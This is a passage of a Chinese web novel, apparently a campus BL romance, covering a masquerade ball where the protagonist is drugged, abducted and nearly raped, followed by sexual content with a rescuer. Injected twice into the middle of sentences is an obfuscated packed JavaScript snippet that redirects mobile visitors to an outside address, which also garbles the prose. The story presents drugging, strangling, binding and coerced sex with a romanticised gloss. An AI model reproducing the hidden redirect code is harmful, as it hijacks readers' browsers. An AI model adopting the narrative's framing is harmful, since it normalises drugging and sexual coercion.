但江林没有那个精力,元旦晚会表现优异的人,最多得到一些口头表彰,并没有实质性的奖励,比如说设立一个十万的奖金,彰显商学院的财力。 可是没有,江林就一点都不想参加。 前面两个节目,一个是美声大合唱,一个是古风群舞,轮到江林的节目后,他很老实,没有出任何岔子。 他不像某些小说故事里的主角,在每一个节点都要出出风头,不管是被迫还是自愿,就算是路人甲参加宴会,也会受到挑衅,然后洋相尽出,或者大杀四方。 江林是一棵好树,乖乖挥舞着手上的树枝,光影落在他脸上,勾勒着他利落的五官。 台下的崔嘉树拿起手机开始拍摄,放大了手机像素,能清楚看见江林脸上的微表情,那露出的脸蛋,下颌被勒出一点可爱的肉肉,脸颊像是生气地鼓起来。 秦锐清瞄到崔嘉树的动作,在第一排,只有崔嘉树在做这格格不入、毫不值钱的行为,他皱眉,眼底闪过嫌弃的神情,忍不住开口:“崔嘉树最近是怎么了?” 李炎诞侧头看了他一眼,不屑的轻哼道:“谁知道,可能最近到了发/q期吧。” 秦锐清:...... 他的视线在两人之间流转一瞬,又看向台上正憨憨离场的“小树”,眼底出现几分了然。 所以他出去这段时间,到底发生了多少他不知道的事儿。 江林脱下玩偶服,重新裹上自己的羽绒服,对着镜子整理自己凌乱的刘海,因为戴着头套,成为了鸡窝。 剩下的节目江林看得昏昏欲睡,两只手伸在两个口袋里取暖,在这会场里其实是有空调的,只是江林体寒,手脚容易冷。 他真的靠在椅子上睡着了,连崔嘉树什么时候走到他身边坐下都不知道,但隔壁的女生差点失声尖叫,努力捂住嘴,不敢喊出声来。 江林的脑袋像是小鸡啄米似的一点一点地,直到停靠在某个支点,他的脖颈才像是被拯救似的得到了缓解,额头磕在崔嘉树的肩膀上,沉沉睡了过去。 崔嘉树面对众人震惊地打量,无奈又宠溺地笑了笑,手动将江林的脑袋摆好,手指拂过他的发梢,宣示主权的意味。 在两人身后的男生直接拍照发到了论坛上。 消失的根号三:【谁懂啊,树哥那个笑,真的好宠啊。】 暴富变美:【不是?两人真的谈上了?】 不发财不改名:【是吧,这就是宣示主权啊,谁他妈好兄弟这么亲密?而且cjs是gay子大家都知道吧。】 消失的根号三:【什么王子爱上灰姑娘的剧情,我磕了。】 ... 随着主持人一声元旦晚会圆满结束,江林像是被按下的开关,迷糊醒来了,耳边响起的男声让他瞬间清醒,眼神一秒不惺忪,仿佛一秒切换到了战斗状态。 “你口水都流出来了,小星。”崔嘉树伸手揉了揉自己的肩膀,笑眼弯弯地说道。 江林下意识地摸了摸唇角,根本没有任何的水渍,崔嘉树就是在纯纯使坏骗人,他没什么好脸色地翻个白眼。 各班级正在有序退场,准备去下一个场地继续蒙面舞会。崔嘉树抓着江林的手,塞进自己的口袋里,里面装着上次的玩具。 江林脸色微变,想要抽出手,但崔嘉树按住了他的手腕,他的眼神有些兴奋,他像是很喜欢这种在公共场合玩暧昧这一套,会更刺激他的神经。 而且尽管他自己不喜欢,但是为了迎合江林,故意带出了这种玩具。 “去厕所。”崔嘉树暗示道,眼神染上一点祈求暧昧之色,如果真的能取悦江林,放松他的警惕的话。 江林用力抽出手,眼底闪过厌恶,骂了一句:“滚啊。” 李炎诞“恰好”从走道路过,看见脸色不善的崔嘉树,像是没察觉到两人不妙的气氛,低声喊道:“走吧,一起去换衣服。” 崔嘉树坐着没动,也拦着江林的出路,眼底闪过一丝阴鸷,江林知道这是把崔嘉树惹毛了。 但是那又怎么样?谁在乎他生不生气? 江林直接从后面的椅子翻了出去,动作干脆利落,身姿洒脱,冷着一张脸,越发显得容貌冷丽,说不出的英姿飒爽。 “卧槽。”有看清楚形势的同学惊呼道,看了看脸色阴沉的崔嘉树,连忙止住了嘴里的好帅。 李炎诞心中一沉,他很少看见崔嘉树这么外显的阴冷情绪,他更像是笑面虎,常常笑着把人作践死,这次他像是被谁撩拨了逆鳞的毒蛇。 江林目不斜视从李炎诞两人身边擦肩而过,多余的眼神都没给,只带来一阵劲风,崔嘉树也没有停留很久,自然地起身和两人走在一起后。 李炎诞试探开口:“孟南星他年纪小,性格不太好,你别和他计较。” 崔嘉树似笑非笑地盯着李炎诞桀骜的眉眼,声线温和但是暗藏锋芒:“年纪小,他也成年了吧,能比我们小几个月?” “但......你何必一定要为难他?那么多人愿意捧着你……”李炎诞皱眉,似乎很不理解。 崔嘉树低声下气地哄着江林,换来江林的冷漠无情,心情已经极差了,所以连带着对李炎诞也没什么好脸色:“我哪里为难他了?嗯?刚刚不是他在给我甩脸色,他配吗。” 李炎诞差点就将崔嘉树强逼人接吻的事情抖落出来,见秦锐清在旁边忍住,也忍着暴脾气道:“他不是无理取闹的人......” “你的意思是我是蛮不讲理的人?”崔嘉树气笑了,“小炎,我们才是从小一起长大的人,你一定要为了他跟我吵吗?” 秦锐清眼见着两人要撕破脸皮,拉了一下李炎诞的衣袖,冷着脸道:“行了,都少两句,这有什么好吵的?” 李炎诞紧绷着脸,牙关紧咬,拳头都硬了,崔嘉树唇角勾起笑,戴上了虚假笑容面具:“好,听老秦的。” ... 江林这次穿上了黑色的西装,服饰也是统一换的,走的欧洲中世纪宫廷风,英伦风的装扮。白色翻折领,窄袖又点缀着白色蕾丝,拉夫领点缀着,又配了米色的马甲,马甲边沿也点缀着蕾丝花边,劲瘦的腰身勾勒分明。 穿着背带马甲中长裤,小腿以下穿着丝袜,黑色外套点缀着金色的镂空纽扣,延边也是金色复杂的花纹,脸上带着白色金边的状似蝴蝶图形的面具,百无聊赖地倚在高脚凳上发呆。 仿佛欧洲宫廷宴会上的贵族公子,面具下的脸找出任何的瑕疵,就像是打造极美的瓷器,腰身比例,腰臀比例都是极好的,小腿包裹在丝袜中,不会显得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|13865597|145076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过于纤细,但也不健硕,恰到好处地流畅。 就算每天坚持运动,江林的腿也没有明显的肌肉凸起,完美得不可思议。 江林个人很不喜欢这样的打扮,勒得慌,马甲也很紧,整个人都快勒得喘不过气来,但是没办法。他撑着下巴,拿着吸管戳了戳摆在面前的酒,调制的美酒,沙冰里面有两颗车厘子,江林正在想办法将它们解救出来。 宴会厅很大,堪比学校的足球场,建筑壁画也是走的欧式风格,江林看着女生们裙摆极大的长裙,走路都是小心翼翼地生怕踩到。 依旧有主持人,舞池的中央有人在翩翩起舞,江林在认真欣赏,谁都认不出来,直到肩膀被人轻拍了一下。 江林转头瞧过去,带着面具的少女开口,听声音才知道是是谁。 “小星,你要和我一起跳舞吗?”赵云月的声音还是比较独特的,江林仔细辨认才发现一些不同。 “不了,我不会跳。”江林不知道他是怎么从这么多人准确找到他的:“小月是怎么确定是我的?” “很容易认出来啊。”赵云月理所当然地说道,找到他旁边的位置坐下,“你长得这么帅,一眼就认不出来了。” 江林礼貌又不失尴尬地微笑,端起果酒掩饰自己的害羞般。 两人聊了一会儿,赵云月被人邀请去舞池跳舞,江林也被人邀请了,最后都以不会跳舞拒绝了她们。 其实舞池那些搭档很多也不会跳,只是在一起摇摆罢了。 但江林正在想办法溜走,当然懒得答应别人跳舞。 “非常荣幸各位先生和女士能来参加商学院举办的蒙面舞会,希望大家能玩的开心,玩得愉快,现在呢,我们准备了一些小节目带给大家......” 主持人开始cue流程了,江林看着他们抽奖,然后玩游戏,一些很弱智的游戏,比如说男女吃辣条,男男女女穿纸条,一起吸乒乓球...... 总之是一些促进异性或者同性暧昧和感情的游戏。 江林坐得很远,没有被注意,也没有上台。 “好啦,现在来到我们最激动人心的黑灯三十秒!”主持人语气激动,“现在请认清楚你身边的伴侣,在黑暗下请不要找错你的爱人哦~” 江林站起来准备躲到一旁去,手腕被人用力抓住,他蹙眉下意识地以为是崔嘉树那个讨人厌的家伙。 崔嘉树的确在寻找江林,但是人群中找到他的身影时,就见他被某个男人拉走了,他站在原地,黑暗即将袭来,他赶不过去了。 很快江林也发现这人不是崔嘉树了,崔嘉树这人讲究体面,就算睡觉都要喷香水,保持精致,他的香水味也是偏甜淡一点的。 但眼前男人的味道不像他,也不像李炎诞,李炎诞粗汉一个,很少喷香水。 这个味道,他好像刚刚闻到过,在车上。 江林不动声色,抬头看着带着黑色面具的男人,露出大半张脸,凌厉的下颌线,紧抿着唇,那副不情不愿的样子,是谁就呼之欲出了。 江林反扣他的手腕,出语惊人,让原本只是来找江林说事情的秦锐清愣了一瞬,语气有些轻:“我们刚刚吵完,你就来找我亲嘴了?” 秦锐清盯着他,下一秒灯光一瞬间全部灭掉,眼前陷入黑暗,他脑海要说的事情抛之脑后,只能思考江林和崔嘉树是可以随便亲嘴的关系,刚刚只是在打情骂俏而已? “说好一天一次,也算是我欠你的。”江林的声音在秦锐清耳畔低低地响起,脸侧传来湿润的触感,柔软的唇在他脸颊轻微的触感,仿佛迎面吹拂了一阵暖风。 秦锐清忍不住伸手扣住江林的腰,手臂不自觉地圈住,是本能行为,鼻尖传来久违的香味,他喉结滚动了一瞬。 江林在对他示好。 秦锐清只是抱住没有下一步动作,脑子还在想,原来江林选择的人是崔嘉树。 崔嘉树又有什么好的呢? 阴暗爬行的崽种罢了。 25.第25章 三十秒转瞬即逝,灯光亮起,抱在一起的情侣们自觉地分开,柔情蜜意地相视一笑。 崔嘉树站在人群中,唇角的笑仿佛镶嵌在他脸上的公式,眼神却如坠冰窟,像是暗处的蛇,死死盯着江林,心中戾气横生。 所以李炎诞可以,秦锐清也可以,就他和他装清高? 贱人。 早就该直接强/奸了他。 崔嘉树往相反的方向走去,明明是耀眼的灯光中心,本应该明媚璀璨,光明美好,但他的背影却显得异常冷漠。 “好了,不打扰你继续玩,我先撤了。”江林装完就走,像是泥鳅似的,钻进人群里顷刻间就消失了。 江林刚刚喘一口气,准备离开,某个小男生又凑到他跟前,是上次在顶楼看见的贫困生苏溪。 他小心翼翼地靠近,仿佛和他搭上话就是莫大的荣幸,江林见他神情如此卑微,心软和他聊了几句。 “您要吃这个嘛?这个很好吃,我做的。”苏溪给他推荐道。江林注意到他是随意在桌上甜点桌拿的,他给面的吃了两口,夸赞了两句。 苏溪感觉自己快要幸福地晕过去了,下一秒就要流下眼泪。 江林觉得好笑,“你不用这么客气。” “要的要的。”苏溪忙不迭地点头,今天的少年太帅了,浑身气质出众,满身矜贵,一颦一笑又温柔的要命。 ... 这边李炎诞脸上挂着伤,眼角沁出一点血痕,满脸戾气地看着眼前的男人,唇角轻扯,轻蔑地嗤笑一声:“傅清池,你是崔嘉树叫来的吧。” 傅清池站在保镖身后,双手环臂,身形藏在阴影中,眉目黑暗下犹为阴鸷,眼神凶狠,那张原本俊美无暇的脸上有一道很深疤痕,他没说话,只是冷冷地看着他。 “你倒是够傻的,认贼作父,你忘记了你脸上这道疤是谁害的?还有上次你以为让我出手教训你,抢你香河三洲投标的人是谁?”李炎诞拳头上又擦伤,他虽然莽,但也不是真的蠢蛋,知道这一出一定是崔嘉树那个贱人整出来的。 就是因为他为江林说了两句好话,就记恨上了他,甚至不惜破坏这么多年三家维持的表面和平。 “你们......我都不会放过。”傅清池的嗓音沙哑,他自然知道崔嘉树不是什么善茬,但他和李炎诞有直接矛盾,这只是他以其人之道还治其人之身,“你放心,我不会让你断手断脚,只是给你一个教训。” 李炎诞眯了眯眼,在花园中角落里,他露齿一笑,挑衅的笑容,轻佻桀骜地开口:“来啊,我在你脸上再划一笔,正好可以对称。” 傅清池的面容一冷,脸上的伤疤是他一辈子的痛点。 ... 江林发现自己好像中招了。 他首先发现自己呼吸有些急促滚烫,一开始只以为室内开了暖气,又关着窗户,空气不流通导致的,但直到身体开始发烫,便无法再欺骗自己是因为呼吸不足了。 江林用头发丝儿想都知道这么阴损的招式是谁干的。 苏溪没有察觉到眼前男人的不对劲,还在热情地介绍精美的糕点,江林却感觉脑门都开始冒汗了。 该死的崔嘉树! 江林想今晚如果让崔嘉树得手了,就算他死了,做鬼都不会咽下这口气。 他甚至都没察觉是怎么中招的。 “停下,我还有事,先走了。”江林没和男生说自己的情况,因为苏溪只是一个普通人,牵扯进来对他没有任何的益处,如果真的是崔嘉树干的,苏溪也帮不了他。 江林往出口走,脚步很快,拿出手机准备花重金打车,但这地方很大,弯弯绕绕,江林又是第一次来,还是慢了。 江林被两个大汉迎面挡住了去路。 他身体的状况越发不好了,拳头默默捏紧,被架着双臂被两人直接带走了。 江林气得牙痒,在发现自己的力量悬殊之后,决定暂时不自讨没趣,等见着崔嘉树再狠狠揍他。 崔嘉树光明磊落的像个人似的,正在舞池中央端着酒杯推杯换盏,和人谈笑风生举手投足都像个贵族呢。 江林意识清醒,可能没有迷/药成分,被放在沙发上,这里这么多人,他倒是没那么紧张了。 崔嘉树故意晾着他,江林虽然药效在发作,但也沉得住气,知道崔嘉树在等他示弱。 他偏不! 崔嘉树眼见着江林那张脸越来越红,端坐在沙发上,小腿微微曲折,完美的比例衬得他腰细腿长,像个壁画中走出来的贵族少年。 江林手机被那两个黑衣人拿走,他眉眼冷淡,但皮肤止不住地泛红,心中憋着一团火气。崔嘉树在他面前站定的时候,如果不是还有仅存的理智,他真的会现在把他的脑袋按在地上砸两下。 “小星,难受吗?”崔嘉树手上端着一杯见底的葡萄酒,像是没事人般微笑着,“需要帮忙吗?” 江林并没有露出多么愤怒的表情,并未像崔嘉树想得那般气急败坏,只是冷淡又平静地看着他。 “求我啊,小星。”崔嘉树将酒杯置于茶几上,像是掌握了话语权般,温柔神情如画般落在他眼底。 他胜券在握。 江林却不是一个软性子的人,他毫不避讳地展示自己的冷静,一字一句咬字极重也极清晰,“崔嘉树,我不怕这些腌臜手段。” “今天我就算在大庭广众之下失态,也好过和你这种卑鄙小人上/床,绝不可能低声下气地求你。” 崔嘉树真的很佩服江林,他是知道怎么惹怒他的。 “你以为我不敢?”崔嘉树语气微沉,浅棕的瞳孔晦暗不明,两人冷然对视上,锋芒毕露,分毫不让。 最终是崔嘉树率先收回视线,他轻笑一声,对着保 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|13878943|145076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 镖使了个眼色:“我不和你逞口舌之快,今天你别求饶。” 江林骂了一句:“禽兽!下作!” 江林左右保镖抱住着他两个肩膀,半挟持地朝着外面走去,再好的涵养也被气得够呛。 李炎诞从后花园走出来,走路的姿势都有些踉跄,但他视力不错,看见了被架走的江林,崔嘉树走在前面,他下意识地躲在暗处。 他也算是从小在心眼子堆里长大的,江林的状况完全不对劲,而且还是被抓走的,推进车里的时候,明显有挣扎的痕迹。 李炎诞眯了眯眼,连忙叫了一辆车跟上,屏幕破碎的手机,上面显示着二十分钟前的消息。 孟南星:【炎哥,我中药了。】 江林发出这条消息就被夺走了手机,也算是死马当活马医,毕竟他真的能和崔嘉树正面刚的,也只有这三个天龙人。 他也不确定李炎诞会不会帮他。 李炎诞收到这条消息的时候,霎那间感觉自己头脑发热,情绪上头,今晚上的新仇旧恨全部涌了上来,英雄救美让他头脑发涨。 他阴沉着脸,翻找到了一个微信群,里面有秦家、崔家以及李家的大家长们,从前讨论过三人的教育事宜,群也一直保留着。 李炎诞将早就压缩准备好的视频和资料发到了群里,旋即将手机关机,随手扔在出租车上,做完这些,李炎诞的手都在抖,靠在后座上喘息,心尖都在颤。 崔嘉树是同性恋的事情,学校学生皆知,老师虽然知道,但只当作不知道,在他们圈子里的小辈也都知晓,可是从没有人敢捅到崔嘉树的母亲龙雅定面前。 崔嘉树是龙雅定唯一的儿子,而龙雅定又是龙家的继承人,性格强势,手段强硬,就算崔嘉树的父亲在外面的“真爱”出现一个又一个,但现在龙雅定才算是崔家真实的掌权人。 崔嘉树从小在龙雅定的强势打压下,虽然表面上是谦谦君子,但背地里离经叛道,故意将自己是同性恋这种在上流社会所批判和不齿的思想广而告之,实则就是叛逆心理,故意和母亲打擂台。 在金海市谁看见龙雅定都要敬上三分,崔嘉树身为她的亲儿子,唯一继承人啊,自然也没有人想得罪,且崔嘉树这人看着笑眯眯的脾气好,实则睚眦必报。 所以这么多年,没人在龙雅定面前捅破这层玻璃纸,但现在李炎诞这个消息已发,就算是李炎诞彻底得罪崔嘉树了,而李家和崔家怕是也会越走越远。 而在这时,率先查看压缩包的人是李炎诞的父母,顿时大惊失色,给李炎诞拨去电话,试图让他撤回,但拨打的电话关机了。 保镖也跟丢了人。李家父母急得上火,甚至将手机都给砸了,然后命令去学校找人。 崔嘉树带着江林去了自己家的酒店,大胆妄为,骨子里带着挑衅和叛逆,干坏事还光明正大地选择了自己家的酒店。 26-30 第26章 宽敞的环境, 灰暗的壁灯,墙上还点缀朵朵娇艳的玫瑰,看不出是真花还是假花。 江林被半拖半拽地按在床沿坐下, 将近三米的床,在这间豪华套房内却显得狭窄, 落地窗外灯光通明,外面大厦仿佛亮起的点点星光,组成万千灯火中的一环, 国际性大都市,夜间依旧灯红酒绿, 热闹非凡。 崔嘉树点了根烟,两腮微陷,眯了眯桃花眼,吐出口中白雾,眼底闪烁着畅快的神光。在他眼前的少年两颊通红,虽然双眼清明, 但眼尾被逼出了波波水光, 穿着华丽的欧式服饰, 腰窄腿长,水灵灵坐在床边, 就像是装扮华丽等着被主人享用的美味甜点。 只是唯一美中不足的是少年脸上毫无生气, 冷淡得像块冰,他最喜欢那双漂亮圆润的眼睛露出愤怒的神情,或者气得全身发抖, 或者气得破口大骂。 那些情绪都是因为自己产生,少年的情绪不在流于表面,鲜活而没离。 所以他故意挑衅他, 故意给他设下困难,故意让他害怕。 但是很遗憾,江林什么表示都没有,好像根本不怕,目光也冷得不行,眼神仿佛毫不在意般,忽视着崔嘉树。 “来先抽根烟吧。”崔嘉树将自己咬湿的烟嘴递给他,眼睛还在笑着:“我知道你也是抽烟的。” 江林居然没有拒绝,接过烟,就在崔嘉树想要夸赞他懂事的时候,他松开手指,烟落在地上,下一秒被他直接踩灭了。 崔嘉树唇角微微抽搐,轻呼出一口气,谆谆善诱般叹气:“小星,你为什么要做这些无畏的挣扎呢?你不会还觉得今天能够完好无损地走出去吧。” 江林冷着脸,却没有看他,也不说话,只是轻轻抿着唇瓣,看着落地窗透黑的天空,不知道在想什么。 崔嘉树继续自顾自地说道:“李炎诞喜欢你,为了你居然敢和我作对叫板李炎诞是个没脑子的,你能勾得他上钩我不奇怪。在蒙面舞会上,你居然又和秦锐清搞上了” “小星,你到底有什么不得了的长处啊。” 江林微微抬起眼,弯了弯唇,大发慈悲般说出他问题的答案:“我有什么长处?你看你气急败坏的样子,像是狗头膏药一样粘着我不放,你不是应该最清楚我的长处,不是吗?” “而且我直接告诉你吧,我就是不待见你,我给炎哥好脸色,也愿意亲秦哥,但就是不愿意看见你。” 崔嘉树笑着朝着江林走近,笑容却在掐住江林脖颈的瞬间骤然变得阴冷,同时手腕施力直接将人掼到了床上,柔软的大床反弹了一瞬。 江林感觉到了极大的威胁,脸色一变,下意识地双手抓着他的手腕用力根据自己的肌肉记忆就是一拧,暂时将自己的脖子解脱。但崔嘉树的力气比他想象的大,下一秒又重新牵制住了他,按着他的肩膀,手锁着他的喉咙。 “你这张嘴只适合用来接吻,说出的话没一句是我爱听的。”崔嘉树掐着他的下颌,恶狠狠地说道,图穷匕见,凶恶的面容再也不加掩饰,凑到他耳畔,暧昧地咬了一下江林的耳垂。 江林眯了眯眼,下意识地咬住唇瓣,忍住疼,揪住他的头发,眼神往四周瞥去,在距离颇远的床头柜前,放着一个玻璃制作的灯,如果按照电视剧的剧情发展,他应该拿着那个玻璃灯狠狠砸在崔嘉树脑袋上。 “嘴硬吧,今天晚上哥哥玩死你!”崔嘉树脸色有儒雅的狰狞,像个温柔的疯子,正笑着低声说道:“这东西可是我花了大价钱买回来的,去医院也没有特效药可以救你,催吐洗胃都不行呢。” 崔嘉树的语气中不无得意的意味,势在必得的强势,眼神含着嘲弄。 江林被扼住咽喉,越是到这个时候,他也没有表现出半点惊慌,分毫不让:“你有种今晚弄死我。” 他想好了,这个玻璃灯一定要狠狠砸在崔嘉树脑袋上,才能解气。 但是不等崔嘉树下一步动作,保镖着急忙慌地敲响了卧室的大门,正想用皮带将江林双手捆住的崔嘉树不耐烦地怒吼一声,“滚出去!” 一向言听计从的保镖却迟迟不敢退开,敲门声更加重了,“少爷,是夫人的电话。” 崔嘉树低着头,刚好对上江林的双眼,手上动作不停,直接将他的手绑住。 江林不再挣扎,任由他动作,心中已然松了一口气,崔嘉树和龙雅定的母子关系在整个小说里,也是塑造崔嘉树性格的一个决定性因素,龙雅定在此刻是整个崔家的揽权者,算是拉住崔嘉树的最后一根缰绳。 崔嘉树表情不再是被挑衅的冷,眉眼间浮动着被死死压制住的烦躁感。他松开手坐起来,整理了一下自己的衣领,看向似乎瘫软在床上的少年,语气还算温和:“乖乖等我回来。” 江林当然不可能回应他,只是冷漠看着他,眼底带着锋利的芒。 崔嘉树关上门,接起保镖手上的电话,面无表情,但语气含笑温柔:“妈,大晚上的怎么劳驾您亲自打电话过来啦?” 电话里的女声很低,平静中带着风暴,“马上滚回来。” 只是这一句话,电话就被挂断了。 崔嘉树站在原地保持着接听的姿势好几秒,攥住手机的手指都用力地发白,心中有恐惧又不耐烦,尽管心中万分不想,但他还是在两分钟之后,出了酒店,乘上了回老宅的车 李炎诞身为崔嘉树的‘好友’没少在崔家酒店刷脸,有时候三人住一间套房也是有的,在一起聊天、打牌、玩游戏 所以他轻而易举地要到了崔嘉树套房的房卡。 几乎崔嘉树前脚离开,李炎诞后脚就进了房间,客厅里空无一人,卧室传来细微的声音,他原本急促的脚步突然变得有些沉重,心情突然紧张起来,顿了半晌,才敢重新朝着卧室走去。 江林挣扎着手腕上的束缚,尽管在崔嘉树面前装得冷若冰霜,但脸颊连同耳根都涨红一片,眼波淌着水光情迷,也难怪崔嘉树兴奋得不得了,这和欲拒还迎没什么区别。 他的呼吸呈现不正常的频率,他的身体虽然不是极限,但也即将濒临崩溃,脖子上青筋暴起。 他刚刚从床上坐起来,挣扎间滑落在地板上,到底没到五感尽失的地步,听见了,也看见了有人进来,他惊恐地倏然偏头看去。 在看见来人后,原本紧绷的下颌放松,露出一个极为委屈的表情。 李炎诞扫视一圈,才看见一个黑漆漆的脑袋,因为处于壁灯的死角,背光又昏暗中瞧不清神情,他快步走上前,便被此刻的江林惊了一瞬,双眼都控制不住的微睁。 曲腿坐在地上的少年,两个手腕被牢牢捆住,白皙手腕上勒出刺眼的红痕,原本充满禁欲严谨色彩的欧洲宫廷服饰此刻有些凌乱,马甲被人扯开,里面白色的内衬也微微敞着,露出白皙凸起的锁骨。 江林那双狗狗眼从眼尾到眼皮都泛起胭脂般的艳色,眼尾还噙着点湿润的泪痕,整个脸都泛着不正常的红,耳廓还能看见一个未消的齿痕。 李炎诞喉结正在无措的上下滚动着,楚楚可怜的少年,被人捆绑着毫无还手之力,那张梨花带雨般惹人怜爱的脸,足够激发男人的怜香惜玉和强势占有欲。 他克制地咬了咬牙,口水咽个没停,随着江林一句带着哭腔的炎哥,李炎诞瞬间蹲下身,去给他解绑,所有的心思都抛掷脑后。 江林手腕被绑得紧,破了皮,保持着反剪的姿势,手臂也酸胀无比,无力地垂着,说话声不自觉带上点喘息:“炎哥,是你帮我了吗?帮我引开了崔嘉树” 李炎诞只是低声咒骂:“崔嘉树这个混账东西,这是要干什么?这是犯法的?胆子太大了” 江林望着眉梢带伤,唇角泛着青紫的男生,静静盯着他几秒,毫无退避,直到李炎诞回避的视线开始慢慢对视上他的。 “我中药了。”江林语气很轻,他也是男人,自身的情况如何再清楚不过,而且崔嘉树可不会怜香惜玉,也许他说的就是事实,去了医院也解决不了问题,崔嘉树就是这么不择手段的人。 “我知道。”李炎诞的声音沙哑粗粝,健硕的身躯半蹲在他跟前,仿佛黑夜中的一座小山。 “嗯,所以你能出去吗?”江林后脑勺靠在床沿,眼神虚虚看着他,眼底泪光闪烁着,敞着的衣领露出脖颈,喉结上下滚动着,明明难受得眉头紧蹙,已经极限,却不愿意主动开头求人。 李炎诞抿着唇,眉眼间因为伤痕,更加显得凌厉凶悍,下颌线紧绷着,他保持着原本的姿势没动,低低开口:“不要我帮忙吗?” 江林似乎愣了一下,然后自顾自地扯出一股嘲弄的笑意,反问道:“炎哥,你也想要我?” 李炎诞那个字想在舌尖绕了个圈,最终被自己咽了回去,声线越发低沉,“不是,上次你帮我,这次我帮你。” “不用这样。”江林摇头,正要继续拒绝,但是肌肤像是触电般战栗一瞬,浑身都止不住的发起抖来,说不出多余完整的话,药效让他不能再继续拒绝。 “我洗个冷水澡就好了。”江林断断续续,难掩难受。 李炎诞轻而易举支着他两个手臂将人放在床上坐好,屈膝半跪在地上,低头给他解开短马甲,眼神根本不敢直视他的,害怕自己那点心思无处遁形。 自己直男的伪装被轻而易举剥开。 “炎哥,没必要”江林抓住他的手腕,滚烫的肌肤又极为柔软,毫无力道。 “不为难。”李炎诞声音低又轻:“一点也不为难。” 江林无法理会其他的东西,他轻眨了两下眼睛,眼尾的泪痕顺着脸颊滑下,视线逐渐清晰,脸颊却烫得惊人,李炎诞高大的身躯微微佝偻着的半蹲在地上。 李炎诞那双猩红的眼直勾勾盯着江林,红血丝遍布,像个凶狠狰狞的野兽,视线一次瞬间也没错开过望着他,看着心中月亮一样的少年 他的苦大仇深,他依旧在心理上觉得自己应该喜欢女人,心理和身体的双重搏斗,让他心焦不已,连脸上和身上的伤都暂时忽略了。 江林静静垂眼看着他,李炎诞在下一瞬狼狈地闭了闭眼,躲避了江林的目光,他轻喘着气,仰视着江林,扯起唇角,“你还好吧?” 嗓音越发哑了,像因为喉咙发炎引起感冒发烧的病人,也像是过度悲伤而有些哽咽的人。 江林似乎有些内疚,从柜子边抽出纸巾给他擦脸,嘴里连忙说着:“抱歉,抱歉,对不起” 李炎诞任由他胡乱给自己擦拭脸颊和脖颈,他脸上和脖子上都是汗,江林像是很心虚,但李炎诞却在察觉到他这些情绪后,炫耀似的勾着唇,仰着脸。 “我现在好了,炎哥你先走吧。”江林低着头,小声道。 “急什么?你就这么讨厌我?”李炎诞心中有些不是滋味,语气哀怨似的:“你放心,你和我两个人都是大男人,我不会让你负责的,说了只是为了还你上次帮我的情。” 江林想着上次的情大可不必还了,上次他就给他扇了两巴掌的情,他可不想要。 李炎诞声音小了些,“再说了,帮人帮到底,送佛送到西” 江林像是脸烧得慌,眼神也闪烁不定,手指有些发抖,也做贼似的压低了声音:“你别说了,我真的没事儿。” 李炎诞挑了挑眉,他伸手脱掉自己的外套,手抓了抓他的脚踝,江林的脚脖子也很细,顺着摸了过去,却发现他的脚掌很凉很冰,仿佛刚刚从冰水中捞上来,但明明刚刚的情况很热。 “去床上躺着。”李炎诞便蹙了蹙眉。 “床上?不去。”江林像是闻到危险气味的小动物,顿时紧张起来,身体紧绷,反复又强调道:“我不想” “我知道。”李炎诞不由分说的拎着他腿将人扔到床上,然后自己坐在床边,将他的双脚放在自己掌心握了握,想给他捂热。 江林耳朵红得滴血,好在房间内开着空调,倒是半点不冷,只觉得呼吸都是滚烫的。 “炎哥”江林尾音都颤了一下,伸手抓住他的头发,双眼含泪,表现得非常紧张和害怕,毕竟他也是‘直男’第一次遭遇这种无妄之灾。 李炎诞抓着脚踝微微抬起,低头吻他的脚背,江林肌肤生得雪白,身上没有一处不白,脚也生得漂亮,握住他脚踝的手呈现小麦的肌肤,衬得肤色反差极大。 李炎诞魁梧健硕的身材,身上还带着不少伤,粗壮手臂上的青筋因为身上的伤痛而缓缓凸起,双眼凶的没边。 “不行炎哥。”江林下意识地缩了缩脚,表现得像个清纯无知的小白兔,但越是这样,李炎诞便越是兴奋。 江林身上香的不行 “咳咳。”李炎诞生理眼泪从眼角逼出,硬汉落泪,是被逼得没法。他正抓着江林的膝盖,盯着眼中带泪的江林瞧着,唇角牵扯着爽朗又放肆的笑容:“你怎么样了?” 江林重重的呼吸着,药效噬人筋骨,浑身都烫得厉害,扫了一眼李炎诞的表情,男生正在寻求赞赏。 他当然丝毫不吝啬自己的表扬,红着脸支支吾吾:“炎哥,你好厉害啊。” 李炎诞挺了挺胸膛,想要做出一副坦荡清白只是帮兄弟的表情,但眼角眉梢泄露出的热烈占有欲望令人触目惊心,强势无比。 江林裹着毛毯,露出一张红透的脸,看向李炎诞的眼神已经没了之前的警惕,似乎相信了他只是来帮助自己的事实。 “我先去洗个澡。”李炎诞浑身都是汗,且知道自己再看下去,怕会出事,他赤脚去了浴室。 江林脸上的羞赧神色缓缓地消失得一干二净,他低头看向自己的腿,上面斑驳的红痕,像是在雪地里落下的血痕,触目惊心。 他不敢放松警惕,夜还很长,药效也还未完全消失 露天浴室,采取的是特殊的玻璃材质,外面看不清里面,但里面却能俯视整个金海市,浴室角落里有个木箱,并不显眼,但奈何李炎诞观察力惊人。 他知道里面装着什么,这是给情侣准备的东西。 